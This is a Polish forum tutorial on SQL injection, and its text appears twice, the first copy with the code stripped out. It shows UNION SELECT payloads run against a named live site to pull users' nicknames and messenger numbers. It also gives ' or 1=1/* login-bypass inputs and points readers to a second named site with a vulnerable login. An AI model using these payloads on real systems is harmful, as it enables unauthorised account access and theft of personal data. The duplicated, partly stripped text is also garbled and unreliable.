Witam
Jakoś mi się weny zebrało, więc warto ją spożytkować. Postanowiłem, że napiszę tutka o jednym z najpopularniejszych ataków na strony internetowe: SQL Injection.
1. Co to SQL Injection??
2. Ale o so chosi ??
3. Jak znaleźć buga SQL Injection ??
4. Jak to wykorzystać ??
5. Jak się zalogować na czyjeś konto bez podawania hasła
-----
ad.1. SQL Injection - luka w zabezpieczeniach polegająca na nieodpowiednim filtrowaniu lub niedostatecznym typowaniu i późniejszym wykonaniu danych przesyłanych w postaci zapytań SQL do bazy danych. Podatne są na niego systemy złożone z warstwy programistycznej (przykładowo skrypt w PHP, ASP, JSP itp.) dynamicznie generującej zapytania do bazy danych (MySQL, PostgreSQL itp.). Wynika on zwykle z braku doświadczenia lub wyobraźni programisty. (źródło: Wikipedia)
-----
ad.2. Poprzez atak SQLI możemy wyciągnąć z bazy podatnej stronki (skryptu) wszystko co chcemy. Zazwyczaj jest to login i hasło admina (;p). Ot o co chodzi w tym ataku.
-----
ad.3. Bugi znajdziemy poprzez podawanie zmiennym nieprawdziwych danych (tj. sprzecznych z logicznego punktu widzenia - później to wyjaśnię) w celu sprawdzenia czy są one filtrowane czy też możemy się pobawić z podatną stronką. Na potrzeby tego kursu znalazłem pierwszą lepszą stronkę podatną na SQLI.
Link:
Teraz pora znaleźć jakąś zmienną... Kliknijmy byle jaki opis... W pasku adresu zobaczymy przykładowo
Podajmy jakieś nieprawdziwe dane dla zmiennej id... Obojętnie co, np. asdf.
Co widzimy ??
Znaleźliśmy buga
Bugi mogą też mieć inne komunikaty, np:
Warning: mysql_fetch_error()
Warning: mysql_num_rows()
itd...
-----
ad.4. Już wiemy co, ale nie wiemy jak... Na początek trzeba się dowiedzieć ile kolumn pobieranych jest podczas zapytania do bazy, w którym jest zamieszczana nasza zmienna id. Ale co jeśli za tą zmienną jest coś doklejane w kodzie PHP ?? Kod taki się komentuje i nie jest on interpretowany przez parser... Jest po prostu pomijany. Można użyć znaków komentujących znanych z języka C
W C komentarz musiał być zamknięty, w SQL tak nie ma więc no problemmo. Jak się dowiedzieć ile mamy kolumn ?? To proste: instrukcja union select. Pobiera ona tą samą liczbę kolumn co poprzedzająca ją instrukcja select, ale działa tylko wtedy gdy instrukcja select nic nie zwróci. Teraz powstaje kolejny problem: trzeba sprawić, żeby pierwsza część zapytania nic nie zwróciła... JAk ?? Wystarczy dodać do niej jakieś nieprawdziwe wyrażenie w miejscu podatnej zmiennej. Jakie ?? Choćby
Takie wyrażenie nigdy nie zwróci prawdy, więc mamy problem z głowy.
Teraz znajdźmy te kolumny.
Doklejmy do zmiennej id takie zapytanie
Tak wygląda adresik
Pokazało się nam
Czyli wiemy, że to jeszczenie ta liczba kolumn. Dodajemy kolejne i kolejne aż trafimy.
Dalej nic... No to dodajemy liczbę...
W końcu dochodzimy do:
W miejscu opisu pokazała się nam taka śmieszna trójeczka, czyli wiemy z którego miejsca są wyświetlane dane (zmiejsca trójki w naszym zapytanku). Ale jeszcze nie o to chodzi. Jedziemy dalej, wypada znać nazwę bazy. Spróbujmy "opisy"
Nie ma błędu. Teraz możemy sobie pobrać z bazy dowolne dane (oczywiście możemy je pobierać z innych baz niż tylko opisy).
Sprawdźmy co jest wrzucane do bazy podczas dodawania nowego opisu
Widzimy 4 pola, wystarczy pomyśleć jak webmaster mógł nazwać te pola w bazie i wyciągnąć je...
Na przykład, chcemy znać nick kogoś kto wrzucił opis o id=666
Jak może wyglądać zapytanie wyciągające takowy nick ??
W miejsce trójeczki tylko wsadzamy nazwę pożądanego pola
Co nam daje "where id=666" ?? Wyciąga rekord o id=666, czyli ten którego żądamy. Załóżmy, że chcemy też znać gg delikwenta... Ale tak pojedynczo to nieelegancko się wyciąga. W tej sytuacji przydatna jest instrukcja concat(). Łączy ona dwa pola w jeden wyniczek, który może zostać ukazany naszym oczom.
No i proszę
po co to "char(58)" w środeczku concata ?? A po to żeby nam się nie mieszały dane ;p Musimy jakoś oddzielić nick od gg więc wstawiamy między nie znak o kodzie ASCII podanym w funkcji char. Znak o numerze 58 to :. Idealnie się do tego nadaje.
-----
ad.5. Na życzenie userów napiszę jak wykorzystać bugi w skryptach logowania. Załóżmy, że mamy takie zapytanie
Jak to obejść ??
Login: <nazwa konta na które chcemy się dostać>
Hasło: or 1=1/* (lub ' or 1=1/*)
Dlaczego tak ?? Zapytanie po dodaniu hasła będzie wyglądało tak:
Zapytanie jest w tym momencie prawdziwe ponieważ ostatni warunek (to za AND) zostaje spełniony i zostają nam przyznane prawa użytkownika, na którego się logujemy. Część zapytania przed AND zwróci poprawny wynik tylko wtedy gdy część druga też będzie prawdziwa (nie zerowa/zwraca wartość TRUE/jak kto woli). Część ta dzieli się na password=(tutaj nie ma nic) i or 1=1, które zawsze zwraca prawdę. Operator OR zwraca prawdę gdy jedna lub obie strony wyrażenia (zapytania) ma prawdziwy wynik.
Jak się zalogować jako pierwszy użytkownik w bazie ??
Login: or 1=1/*
Hasło: dowolne
Lub
Login: ' or 1=1/*
Hasło: dowolne
Podobnie jak wyżej, tylko, że hasło zostaje pominięte i zostają pobrane dane pierwszego usera z bazy.
Bugi tego typu można wykorzystać na stronie www.34all.org. Skrypt logowania jest dziurawy.
To by było na tyle. Chciałem tylko zademonstrować o co w tym chodzi i jak to działa.
Mam nadzieję, że choć trochę przybliżyłem naturę błędów umożliwiających ataki SQL Injection.
Przepraszam za błędy
Pozdrawiam
Sinis
// Proszę o przeniesienie do odpowiedniego działu
Jakoś mi się weny zebrało, więc warto ją spożytkować. Postanowiłem, że napiszę tutka o jednym z najpopularniejszych ataków na strony internetowe: SQL Injection.
1. Co to SQL Injection??
2. Ale o so chosi ??
3. Jak znaleźć buga SQL Injection ??
4. Jak to wykorzystać ??
5. Jak się zalogować na czyjeś konto bez podawania hasła
-----
ad.1. SQL Injection - luka w zabezpieczeniach polegająca na nieodpowiednim filtrowaniu lub niedostatecznym typowaniu i późniejszym wykonaniu danych przesyłanych w postaci zapytań SQL do bazy danych. Podatne są na niego systemy złożone z warstwy programistycznej (przykładowo skrypt w PHP, ASP, JSP itp.) dynamicznie generującej zapytania do bazy danych (MySQL, PostgreSQL itp.). Wynika on zwykle z braku doświadczenia lub wyobraźni programisty. (źródło: Wikipedia)
-----
ad.2. Poprzez atak SQLI możemy wyciągnąć z bazy podatnej stronki (skryptu) wszystko co chcemy. Zazwyczaj jest to login i hasło admina (;p). Ot o co chodzi w tym ataku.
-----
ad.3. Bugi znajdziemy poprzez podawanie zmiennym nieprawdziwych danych (tj. sprzecznych z logicznego punktu widzenia - później to wyjaśnię) w celu sprawdzenia czy są one filtrowane czy też możemy się pobawić z podatną stronką. Na potrzeby tego kursu znalazłem pierwszą lepszą stronkę podatną na SQLI.
Link:
Kod:
http://www.opisy-gg.info.pl/
Kod:
http://www.opisy-gg.info.pl/view_status.php?id=456
Kod:
http://www.opisy-gg.info.pl/view_status.php?id=asdf
Kod:
Unknown column 'asdf' in 'where clause'
Warning: mysql_fetch_error()
Warning: mysql_num_rows()
itd...
-----
ad.4. Już wiemy co, ale nie wiemy jak... Na początek trzeba się dowiedzieć ile kolumn pobieranych jest podczas zapytania do bazy, w którym jest zamieszczana nasza zmienna id. Ale co jeśli za tą zmienną jest coś doklejane w kodzie PHP ?? Kod taki się komentuje i nie jest on interpretowany przez parser... Jest po prostu pomijany. Można użyć znaków komentujących znanych z języka C
Kod:
*
Kod:
AND 1=2
Teraz znajdźmy te kolumny.
Doklejmy do zmiennej id takie zapytanie
Kod:
456 and 1=2 union select 1/*
Kod:
http://www.opisy-gg.info.pl/view_status.php?id=456 and 1=2 union select 1/*
Kod:
The used SELECT statements have a different number of columns
Kod:
456 and 1=2 union select 1,2/*
W końcu dochodzimy do:
Kod:
456 and 1=2 union select 1,2,3,4,5,6,7/*
Kod:
456 and 1=2 union select 1,2,3,4,5,6,7 from opisy/*
Sprawdźmy co jest wrzucane do bazy podczas dodawania nowego opisu
Kod:
http://www.opisy-gg.info.pl/add.php
Dodaj opis
Kategoria:
nick:
numer gg:
opis:
Na przykład, chcemy znać nick kogoś kto wrzucił opis o id=666
Kod:
http://www.opisy-gg.info.pl/view_status.php?id=666
Kod:
666 and 1=2 union select 1,2,nick,4,5,6,7 from opisy where id=666/*
Kod:
666 and 1=2 union select 1,2,concat(nick,char(58),gg),4,5,6,7 from opisy where id=666/*
-----
ad.5. Na życzenie userów napiszę jak wykorzystać bugi w skryptach logowania. Załóżmy, że mamy takie zapytanie
Kod:
SELECT * FROM users WHERE username=$user AND password=$pass
Login: <nazwa konta na które chcemy się dostać>
Hasło: or 1=1/* (lub ' or 1=1/*)
Dlaczego tak ?? Zapytanie po dodaniu hasła będzie wyglądało tak:
Kod:
SELECT * FROM users WHERE username=$user AND password= or 1=1/*
Jak się zalogować jako pierwszy użytkownik w bazie ??
Login: or 1=1/*
Hasło: dowolne
Lub
Login: ' or 1=1/*
Hasło: dowolne
Podobnie jak wyżej, tylko, że hasło zostaje pominięte i zostają pobrane dane pierwszego usera z bazy.
Bugi tego typu można wykorzystać na stronie www.34all.org. Skrypt logowania jest dziurawy.
To by było na tyle. Chciałem tylko zademonstrować o co w tym chodzi i jak to działa.
Mam nadzieję, że choć trochę przybliżyłem naturę błędów umożliwiających ataki SQL Injection.
Przepraszam za błędy
Pozdrawiam
Sinis
// Proszę o przeniesienie do odpowiedniego działu